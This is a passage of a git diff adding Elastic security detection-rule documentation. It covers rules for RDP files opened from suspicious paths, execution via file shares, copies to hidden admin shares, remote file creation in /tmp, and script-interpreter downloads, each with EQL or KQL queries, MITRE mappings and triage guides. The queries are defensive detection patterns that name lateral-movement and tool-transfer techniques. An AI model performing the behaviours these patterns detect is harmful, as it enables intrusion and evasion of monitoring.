MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-desktop-file-opened-from-suspicious-path.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-desktop-file-opened-from-suspicious-path.asciidoc new file mode 100644 index 0000000000..f7369ffe47 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-desktop-file-opened-from-suspicious-path.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-remote-desktop-file-opened-from-suspicious-path]] +=== Remote Desktop File Opened from Suspicious Path + +Identifies attempts to open a remote desktop file from suspicious paths. Adversaries may abuse RDP files for initial access. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2024/10/29/midnight-blizzard-conducts-large-scale-spear-phishing-campaign-using-rdp-files/ +* https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/ +* https://shorsec.io/blog/malrdp-implementing-rouge-rdp-manually/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote Desktop File Opened from Suspicious Path* + + +Remote Desktop Protocol (RDP) allows users to connect to and control a computer remotely, facilitating remote work and administration. However, adversaries can exploit RDP files, which store connection settings, to gain unauthorized access. They may distribute malicious RDP files via phishing, placing them in suspicious directories. The detection rule identifies when RDP files are opened from unusual paths, signaling potential misuse and enabling analysts to investigate further. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of "mstsc.exe" and verify the suspicious path from which the RDP file was opened, as specified in the query. +- Check the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears anomalous. +- Investigate the source of the RDP file by examining recent email activity or downloads to identify potential phishing attempts or unauthorized file transfers. +- Analyze the system's event logs for any other unusual activities or processes that occurred around the same time as the RDP file execution. +- Assess the network connections established by the system during the time of the alert to identify any suspicious or unauthorized remote connections. +- Consult threat intelligence sources to determine if the identified path or file name pattern is associated with known malicious campaigns or threat actors. + + +*False positive analysis* + + +- Users frequently download legitimate RDP files from trusted sources like corporate emails or internal portals. To manage this, create exceptions for known safe domains or email addresses in your security tools. +- Temporary directories often store RDP files during legitimate software installations or updates. Monitor these activities and whitelist specific processes or software that are known to use RDP files during their operations. +- Employees working remotely may use RDP files stored in their Downloads folder for legitimate access to company resources. Implement a policy to educate users on safe RDP file handling and consider excluding the Downloads folder from alerts if it is a common practice. +- Some business applications may generate RDP files in temporary directories as part of their normal operation. Identify these applications and configure your detection systems to exclude their specific file paths or process names. +- Automated scripts or IT management tools might use RDP files for routine administrative tasks. Document these scripts and tools, and adjust your detection rules to ignore their specific activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any active RDP sessions initiated from the suspicious paths identified in the alert to cut off potential attacker access. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious files or software. +- Review and remove any unauthorized RDP files from the suspicious directories listed in the detection query to prevent future misuse. +- Reset credentials for any accounts that were used to open the suspicious RDP files, ensuring that new passwords are strong and unique. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for RDP activities across the network to detect and respond to similar threats more effectively in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "mstsc.exe" and + process.args : ("?:\\Users\\*\\Downloads\\*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\Temp?_*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\7z*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\Rar$*\\*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\BNZ.*.rdp", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Outlook\\*.rdp") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-execution-via-file-shares.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-execution-via-file-shares.asciidoc new file mode 100644 index 0000000000..cd3c196e03 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-execution-via-file-shares.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-20-remote-execution-via-file-shares]] +=== Remote Execution via File Shares + +Identifies the execution of a file that was created by the virtual system process. This may indicate lateral movement via network file shares. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://web.archive.org/web/20230329172636/https://blog.menasec.net/2020/08/new-trick-to-detect-lateral-movement.html +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend + +*Version*: 122 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote Execution via File Shares* + + +Adversaries can use network shares to host tooling to support the compromise of other hosts in the environment. These tools can include discovery utilities, credential dumpers, malware, etc. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Review adjacent login events (e.g., 4624) in the alert timeframe to identify the account used to perform this action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity can happen legitimately. Consider adding exceptions if it is expected and noisy in your environment. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Review the privileges needed to write to the network share and restrict write access as needed. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1m + [file where host.os.type == "windows" and event.type in ("creation", "change") and + process.pid == 4 and (file.extension : ("exe", "scr", "pif", "com") or file.Ext.header_bytes : "4d5a*")] by host.id, file.path + [process where host.os.type == "windows" and event.type == "start" and + not ( + ( + process.code_signature.trusted == true and + process.code_signature.subject_name : ( + "Veeam Software Group GmbH", + "Elasticsearch, Inc.", + "PDQ.com Corporation", + "CrowdStrike, Inc.", + "Microsoft Windows Hardware Compatibility Publisher", + "ZOHO Corporation Private Limited", + "BeyondTrust Corporation", + "CyberArk Software Ltd.", + "Sophos Ltd" + ) + ) or + ( + process.executable : ( + "?:\\Windows\\ccmsetup\\ccmsetup.exe", + "?:\\Windows\\SoftwareDistribution\\Download\\Install\\AM_Delta*.exe", + "?:\\Windows\\CAInvokerService.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.executable : "G:\\SMS_*\\srvboot.exe" and + process.code_signature.trusted == true and process.code_signature.subject_name : "Microsoft Corporation" + ) + ) + ] by host.id, process.executable + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-file-copy-to-a-hidden-share.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-file-copy-to-a-hidden-share.asciidoc new file mode 100644 index 0000000000..8e420bcaed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-file-copy-to-a-hidden-share.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-remote-file-copy-to-a-hidden-share]] +=== Remote File Copy to a Hidden Share + +Identifies a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote File Copy to a Hidden Share* + + +In Windows environments, hidden network shares are often used for legitimate administrative tasks, allowing file transfers without user visibility. However, adversaries can exploit these shares for lateral movement or data exfiltration. The detection rule identifies suspicious file copy attempts using common command-line tools like cmd.exe and powershell.exe, focusing on hidden share patterns to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to identify the specific command-line tool used (cmd.exe, powershell.exe, xcopy.exe, or robocopy.exe) and examine the arguments to understand the nature of the file copy operation. +- Investigate the source and destination of the file copy by analyzing the network share path in the process arguments, focusing on the hidden share pattern (e.g., \\*\\*$). +- Check the user account associated with the process to determine if it has legitimate access to the hidden share and assess if the activity aligns with the user's typical behavior. +- Correlate the event with other logs or alerts from the same host or user to identify any additional suspicious activities, such as unusual login attempts or privilege escalation. +- Examine the historical activity of the involved host to identify any previous instances of similar file copy attempts or other indicators of lateral movement. +- Consult threat intelligence sources to determine if the detected pattern or tools are associated with known adversary techniques or campaigns. + + +*False positive analysis* + + +- Administrative tasks using hidden shares can trigger alerts. Regularly review and document legitimate administrative activities that involve file transfers to hidden shares. +- Backup operations often use hidden shares for data storage. Identify and exclude backup processes by specifying known backup software and their typical command-line arguments. +- Software deployment tools may utilize hidden shares for distributing updates. Create exceptions for recognized deployment tools by listing their process names and associated arguments. +- IT maintenance scripts might copy files to hidden shares for system updates. Maintain a list of approved maintenance scripts and exclude them from triggering alerts. +- User-initiated file transfers for legitimate purposes can be mistaken for threats. Educate users on proper file transfer methods and monitor for unusual patterns that deviate from documented procedures. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further lateral movement or data exfiltration. +- Terminate any suspicious processes identified in the alert, such as cmd.exe, powershell.exe, xcopy.exe, or robocopy.exe, that are involved in the file copy attempt. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise or unauthorized access. +- Change credentials for any accounts that were used in the suspicious activity to prevent further unauthorized access. +- Review and restrict permissions on network shares, especially hidden shares, to ensure only authorized users have access. +- Monitor network traffic for any further suspicious activity related to hidden shares and lateral movement attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and user.id != "S-1-5-18" and + process.name : ("cmd.exe", "powershell.exe") and + process.command_line : "*\\\\*\\*$*" and process.command_line : ("* copy*", "* move*", "* cp *", "* mv *") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Remote Data Staging +** ID: T1074.002 +** Reference URL: https://attack.mitre.org/techniques/T1074/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-file-creation-in-world-writeable-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-file-creation-in-world-writeable-directory.asciidoc new file mode 100644 index 0000000000..3fda637130 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-file-creation-in-world-writeable-directory.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-20-remote-file-creation-in-world-writeable-directory]] +=== Remote File Creation in World Writeable Directory + +This rule detects the creation of a file in a world-writeable directory through a service that is commonly used for file transfer. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* +* auditbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote File Creation in World Writeable Directory* + + +In Linux environments, world-writeable directories like `/tmp` and `/var/tmp` are used for temporary file storage, accessible by all users. Adversaries exploit these directories to deposit malicious files via remote services such as SSH or FTP, facilitating lateral movement. The detection rule identifies file creation events in these directories by non-root users using common file transfer services, signaling potential unauthorized activity. + + +*Possible investigation steps* + + +- Review the file creation event details, focusing on the file path to determine if it matches any known malicious patterns or if it is unusual for the environment. +- Identify the user associated with the file creation event by examining the user.id field, and verify if this user should have access to the affected directory. +- Investigate the process responsible for the file creation by analyzing the process.name field to determine if it aligns with expected usage patterns for the user and system. +- Check the source IP address and connection details related to the file transfer service used (e.g., SSH, FTP) to identify any suspicious or unauthorized access attempts. +- Correlate the event with other recent activities on the host to identify any patterns of lateral movement or other suspicious behavior. +- Review historical data for similar file creation events by the same user or process to assess if this is part of a recurring pattern or an isolated incident. + + +*False positive analysis* + + +- Routine administrative tasks: System administrators often use file transfer services like scp or rsync to move files for legitimate purposes. To reduce false positives, create exceptions for known administrative accounts or specific file paths that are regularly used for maintenance. +- Automated scripts and cron jobs: Automated processes may create temporary files in world-writeable directories. Identify and whitelist these scripts or jobs by their process names or user accounts to prevent unnecessary alerts. +- Software updates and installations: Some software updates or installations may temporarily use world-writeable directories. Monitor and document these activities, and consider excluding specific update processes or package managers from the rule. +- Development and testing environments: Developers may use these directories for testing purposes. Establish a separate monitoring policy for development environments or exclude known developer accounts to minimize false positives. +- Backup operations: Backup tools might use temporary directories for staging files. Identify these tools and their typical behavior, and create exceptions based on their process names or user IDs. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further lateral movement by the adversary. +- Terminate any suspicious processes associated with file transfer services (e.g., scp, ssh, ftp) that are not part of legitimate user activity. +- Remove any unauthorized files created in world-writeable directories such as /tmp, /var/tmp, or /dev/shm to eliminate potential threats. +- Conduct a thorough review of user accounts and permissions, focusing on non-root users who have recently accessed the system, to identify any unauthorized access. +- Reset credentials for compromised or potentially compromised accounts to prevent further unauthorized access. +- Monitor network traffic for unusual patterns or connections to external IP addresses that may indicate ongoing or additional compromise attempts. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been affected, ensuring a coordinated response. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.action:creation and +process.name:(ftp or rsync or scp or sftp or sftp-server or ssh or sshd or vsftpd) and +file.path:((/dev/shm/* or /tmp* or /var/tmp*) and not (/tmp/ansible-tmp-* or /var/tmp/ansible-tmp-*)) and +not user.id:0 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-file-download-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-file-download-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..5f31c378b5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-file-download-via-script-interpreter.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-remote-file-download-via-script-interpreter]] +=== Remote File Download via Script Interpreter + +Identifies built-in Windows script interpreters (cscript.exe or wscript.exe) being used to download an executable file from a remote destination. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.network-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote File Download via Script Interpreter* + + +The Windows Script Host (WSH) is a Windows automation technology, which is ideal for non-interactive scripting needs, such as logon scripting, administrative scripting, and machine automation. + +Attackers commonly use WSH scripts as their initial access method, acting like droppers for second stage payloads, but can also use them to download tools and utilities needed to accomplish their goals. + +This rule looks for DLLs and executables downloaded using `cscript.exe` or `wscript.exe`. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze both the script and the executable involved using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- The usage of these script engines by regular users is unlikely. In the case of authorized benign true positives (B-TPs), exceptions can be added. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + 